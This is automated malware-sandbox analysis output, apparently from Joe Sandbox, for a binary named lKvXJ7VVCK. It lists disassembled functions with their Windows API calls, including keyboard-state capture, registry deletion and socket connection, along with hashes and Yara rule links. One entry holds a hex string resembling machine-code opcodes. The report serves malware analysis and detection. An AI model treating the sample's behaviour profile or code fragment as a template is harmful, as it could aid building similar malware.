                                                          • GetSystemMetrics.USER32(0000000F), ref: 0057D47C
                                                          • GetSystemMetrics.USER32(0000000F), ref: 0057D49C
                                                          • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0057D6D7
                                                          • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0057D6F5
                                                          • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0057D716
                                                          • ShowWindow.USER32(00000003,00000000), ref: 0057D735
                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 0057D75A
                                                          • DefDlgProcW.USER32(?,00000005,?,?), ref: 0057D77D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                          • String ID:
                                                          • API String ID: 1211466189-0
                                                          • Opcode ID: 083cabfc8993201ed63689e610c371d0748691162353ff553de05455952ce06b
                                                          • Instruction ID: e41c5eb8fd88dbd08f54360f176cba02d0b175f71edc628be027bcc75b85039e
                                                          • Opcode Fuzzy Hash: 083cabfc8993201ed63689e610c371d0748691162353ff553de05455952ce06b
                                                          • Instruction Fuzzy Hash: 7DB19971600229ABDF18CF68D985BA97BB1FF44701F08C069ED4C9B295D734A994EBA0
                                                          Function 004F2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0052C1C7,00000004,00000000,00000000,00000000), ref: 004F2ACF
                                                          • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0052C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 004F2B17
                                                          • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0052C1C7,00000004,00000000,00000000,00000000), ref: 0052C21A
                                                          • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0052C1C7,00000004,00000000,00000000,00000000), ref: 0052C286
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ShowWindow
                                                          • String ID:
                                                          • API String ID: 1268545403-0
                                                          • Opcode ID: 0b867d393756ed0b3126461f9cc311fb25befeae3ee83a6e53a8e73cc6dc2522
                                                          • Instruction ID: 61423e72e7b3365e29cf2b6afe3470d152ff1ab43154ae9c0d0245b00c7a0a7e
                                                          • Opcode Fuzzy Hash: 0b867d393756ed0b3126461f9cc311fb25befeae3ee83a6e53a8e73cc6dc2522
                                                          • Instruction Fuzzy Hash: 6D413130A04A84DACB798B399E9C77F7F91FF96300F24841FE247426A1C6BDA845E715
                                                          Function 005761D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DeleteObject.GDI32(00000000), ref: 005761EB
                                                          • GetDC.USER32(00000000), ref: 005761F3
                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 005761FE
                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0057620A
                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00576246
                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00576257
                                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0057902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00576291
                                                          • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 005762B1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                          • String ID:
                                                          • API String ID: 3864802216-0
                                                          • Opcode ID: abc2b32f8a1e67c0ce472b581cec398ddf013384013335c6cb030aa56ba5c80c
                                                          • Instruction ID: a2c7828a9176aaf3ee2a94a23143ac10b0b7c19841a59430e94f43390729f7bb
                                                          • Opcode Fuzzy Hash: abc2b32f8a1e67c0ce472b581cec398ddf013384013335c6cb030aa56ba5c80c
                                                          • Instruction Fuzzy Hash: 78319F76101610BFEB118F10EC8AFEA3FA9FF59765F044065FE0C9A292C6759C81EB60
                                                          Function 00569B23 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 352COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: NULL Pointer assignment$Not an Object type
                                                          • API String ID: 0-572801152
                                                          • Opcode ID: 9e7c5c30bd0d14dcecf16216eab39df17aad16f9fe5f2d16379ab8db7cb4ee69
                                                          • Instruction ID: 684b5fc01bcddecbae05cbb7b574b680388fb597670968c9aca3f23e1c446f05
                                                          • Opcode Fuzzy Hash: 9e7c5c30bd0d14dcecf16216eab39df17aad16f9fe5f2d16379ab8db7cb4ee69
                                                          • Instruction Fuzzy Hash: 57C18271A0021A9FDF10DF98D984BEEBBFDFB88314F148469E905AB281E7719D45CB90
                                                          Function 004F1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6ea1e6ff22f6aa4096c7e8d6fcf3f9b59c038b0f946d1e15df6cceb5bd043588
                                                          • Instruction ID: 13678ac67fd989d851844c7551f1b13439d3e3b7d2fc9fc7382594fd25a40357
                                                          • Opcode Fuzzy Hash: 6ea1e6ff22f6aa4096c7e8d6fcf3f9b59c038b0f946d1e15df6cceb5bd043588
                                                          • Instruction Fuzzy Hash: 5B716D30900119EFDB04CF99CC88EBEBB79FF85314F14815AFA15AA261C734AA51DBA5
                                                          Function 0057B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsWindow.USER32(00E199E8), ref: 0057B3EB
                                                          • IsWindowEnabled.USER32(00E199E8), ref: 0057B3F7
                                                          • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0057B4DB
                                                          • SendMessageW.USER32(00E199E8,000000B0,?,?), ref: 0057B512
                                                          • IsDlgButtonChecked.USER32(?,?), ref: 0057B54F
                                                          • GetWindowLongW.USER32(00E199E8,000000EC), ref: 0057B571
                                                          • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0057B589
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                          • String ID:
                                                          • API String ID: 4072528602-0
                                                          • Opcode ID: 1b9b4f13e3aa9293673f1ae1acf48805b9892104f6c1ae85b4833d4eb14b0b6a
                                                          • Instruction ID: 71587a9f568237001c53d7003b4131392aaefdd1068adcd65dcd7c88ac5f6248
                                                          • Opcode Fuzzy Hash: 1b9b4f13e3aa9293673f1ae1acf48805b9892104f6c1ae85b4833d4eb14b0b6a
                                                          • Instruction Fuzzy Hash: 6F718D34604604AFEF259F54E894FBA7FBAFF09300F148559F949972A2D732A980EB50
                                                          Function 00550F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetParent.USER32(?), ref: 00550F8C
                                                          • GetKeyboardState.USER32(?), ref: 00550FA1
                                                          • SetKeyboardState.USER32(?), ref: 00551002
                                                          • PostMessageW.USER32(?,00000101,00000010,?), ref: 00551030
                                                          • PostMessageW.USER32(?,00000101,00000011,?), ref: 0055104F
                                                          • PostMessageW.USER32(?,00000101,00000012,?), ref: 00551095
                                                          • PostMessageW.USER32(?,00000101,0000005B,?), ref: 005510B8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: 7c4926ff42b717aaadb1578dd09c0c65a77036717303253bc58bb4ad6ceccc17
                                                          • Instruction ID: 0dcaf2abff0d0d9f69e0998f1c9637f463b8f432a8401efc36f3fed5896be987
                                                          • Opcode Fuzzy Hash: 7c4926ff42b717aaadb1578dd09c0c65a77036717303253bc58bb4ad6ceccc17
                                                          • Instruction Fuzzy Hash: 945105A0504BD53EFB3652348C29BBABEA97F06305F08458AE9D5468D3C2D4ECCCD755
                                                          Function 00550D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetParent.USER32(00000000), ref: 00550DA5
                                                          • GetKeyboardState.USER32(?), ref: 00550DBA
                                                          • SetKeyboardState.USER32(?), ref: 00550E1B
                                                          • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00550E47
                                                          • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00550E64
                                                          • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00550EA8
                                                          • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00550EC9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: af4ba5a7362a42f614b745234f95db84e9082ef71c93e0485b9b28826d9eb230
                                                          • Instruction ID: fd23d132e26f56c5a3118ebcdf3123de5ee1216ad3d75f93b1fbd1182d96b4ab
                                                          • Opcode Fuzzy Hash: af4ba5a7362a42f614b745234f95db84e9082ef71c93e0485b9b28826d9eb230
                                                          • Instruction Fuzzy Hash: 615118A05047D57DFB3283748C66BBA7FA97F06301F18988AE9D4468C2C395EC8CE750
                                                          Function 00576D80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 143windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00576E24
                                                          • SendMessageW.USER32(?,00001036,00000000,?), ref: 00576E38
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00576E52
                                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 00576EC4
                                                          • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00576EF2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window
                                                          • String ID: SysListView32
                                                          • API String ID: 2326795674-78025650
                                                          • Opcode ID: 5b20d00e6ac6201db1858bcd3e180d7f7af6c7d8db6a9893645be3fc6d62257e
                                                          • Instruction ID: 03315e08218409b4faaf010d69c4b901f3a8654c87b0842f69617f921195dfad
                                                          • Opcode Fuzzy Hash: 5b20d00e6ac6201db1858bcd3e180d7f7af6c7d8db6a9893645be3fc6d62257e
                                                          • Instruction Fuzzy Hash: 0641B270A00319AFEB21DF64EC85BEE7BE8FF08750F10446AF948E7191D6719D84AB60
                                                          Function 0054D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0054D5D4
                                                          • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0054D60A
                                                          • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0054D61B
                                                          • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0054D69D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$AddressCreateInstanceProc
                                                          • String ID: ,,X$DllGetClassObject
                                                          • API String ID: 753597075-2701067808
                                                          • Opcode ID: 2d78a504ea7cc2bec16ef4cff0ca0d6a8cc598a492df7d51911f1a7635b94dd1
                                                          • Instruction ID: 4406fdc69daebf5615d0978ca938f473885028882402ed1b829e8b9541ae415f
                                                          • Opcode Fuzzy Hash: 2d78a504ea7cc2bec16ef4cff0ca0d6a8cc598a492df7d51911f1a7635b94dd1
                                                          • Instruction Fuzzy Hash: FC417CB1600204EFDB05DF64C888ADABFB9FF85318F1680A9AC099F205D7B1D944DBB0
                                                          Function 004F2344 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCursorPos.USER32(?), ref: 004F2357
                                                          • ScreenToClient.USER32(005B57B0,?), ref: 004F2374
                                                          • GetAsyncKeyState.USER32(00000001), ref: 004F2399
                                                          • GetAsyncKeyState.USER32(00000002), ref: 004F23A7
                                                          Strings
                                                          • cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc, xrefs: 0052BFF9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AsyncState$ClientCursorScreen
                                                          • String ID: cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc
                                                          • API String ID: 4210589936-1965612092
                                                          • Opcode ID: d04b5ff0add6a9b060d5ac0ba2e8c4d8cb90125842e9e69c1745b97578222e0e
                                                          • Instruction ID: f07a2aa16be54088aab937e3ffd72c10c4b44e382c7b5095af473efc138f7e52
                                                          • Opcode Fuzzy Hash: d04b5ff0add6a9b060d5ac0ba2e8c4d8cb90125842e9e69c1745b97578222e0e
                                                          • Instruction Fuzzy Hash: 82418175604119FBDF199F68D848AEEBF74FF05360F20431AF928922D0CB74A994EB91
                                                          Function 00570FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00570FD4
                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00570FFE
                                                          • FreeLibrary.KERNEL32(00000000), ref: 005710B5
                                                            • Part of subcall function 00570FA5: RegCloseKey.ADVAPI32(?), ref: 0057101B
                                                            • Part of subcall function 00570FA5: FreeLibrary.KERNEL32(?), ref: 0057106D
                                                            • Part of subcall function 00570FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00571090
                                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00571058
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                          • String ID:
                                                          • API String ID: 395352322-0
                                                          • Opcode ID: 01593381eeaddb7643b88419a3eee82c3e31d7d7ab6ed94249ce4ea6e30991ab
                                                          • Instruction ID: 6f9f4055bab60042d24ac125409d259f4941bf693a31096856fba7730e556b02
                                                          • Opcode Fuzzy Hash: 01593381eeaddb7643b88419a3eee82c3e31d7d7ab6ed94249ce4ea6e30991ab
                                                          • Instruction Fuzzy Hash: 9031FE71911109BFDB15DF94EC899FEBBBCFF08300F104169E50AA2251D6745E89AB64
                                                          Function 005762CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 005762EC
                                                          • GetWindowLongW.USER32(00E199E8,000000F0), ref: 0057631F
                                                          • GetWindowLongW.USER32(00E199E8,000000F0), ref: 00576354
                                                          • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00576386
                                                          • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 005763B0
                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 005763C1
                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 005763DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LongWindow$MessageSend
                                                          • String ID:
                                                          • API String ID: 2178440468-0
                                                          • Opcode ID: a59d64b3601715f4de73d790bde6f221331d31401d32e0f3b13117f477e6e8d0
                                                          • Instruction ID: 4469febe205b48fd9df2bfe9a6640463eab9bf5ef646744db1e85c452be29ff6
                                                          • Opcode Fuzzy Hash: a59d64b3601715f4de73d790bde6f221331d31401d32e0f3b13117f477e6e8d0
                                                          • Instruction Fuzzy Hash: 333114306406509FDB21DF19EC84F543BE1FB5A714F2986A4F5198F2B2CB72A884EB51
                                                          Function 0054DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0054DB2E
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0054DB54
                                                          • SysAllocString.OLEAUT32(00000000), ref: 0054DB57
                                                          • SysAllocString.OLEAUT32(?), ref: 0054DB75
                                                          • SysFreeString.OLEAUT32(?), ref: 0054DB7E
                                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 0054DBA3
                                                          • SysAllocString.OLEAUT32(?), ref: 0054DBB1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                          • String ID:
                                                          • API String ID: 3761583154-0
                                                          • Opcode ID: 13779cccaf7dea2f34d0143f1c60d059553ffa6fc7d3b83ee9542ff7de06a400
                                                          • Instruction ID: 6a4ece503166fcfb9e92d735b7a503eca987dae859f7abb4dd26a35e5236262e
                                                          • Opcode Fuzzy Hash: 13779cccaf7dea2f34d0143f1c60d059553ffa6fc7d3b83ee9542ff7de06a400
                                                          • Instruction Fuzzy Hash: F6219236600219AFDF10DFA9DC88CFB7BACFB09364B018525F958DB291D6709C859B70
                                                          Function 00566173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00567D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00567DB6
                                                          • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 005661C6
                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005661D5
                                                          • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0056620E
                                                          • connect.WSOCK32(00000000,?,00000010), ref: 00566217
                                                          • WSAGetLastError.WSOCK32 ref: 00566221
                                                          • closesocket.WSOCK32(00000000), ref: 0056624A
                                                          • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00566263
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
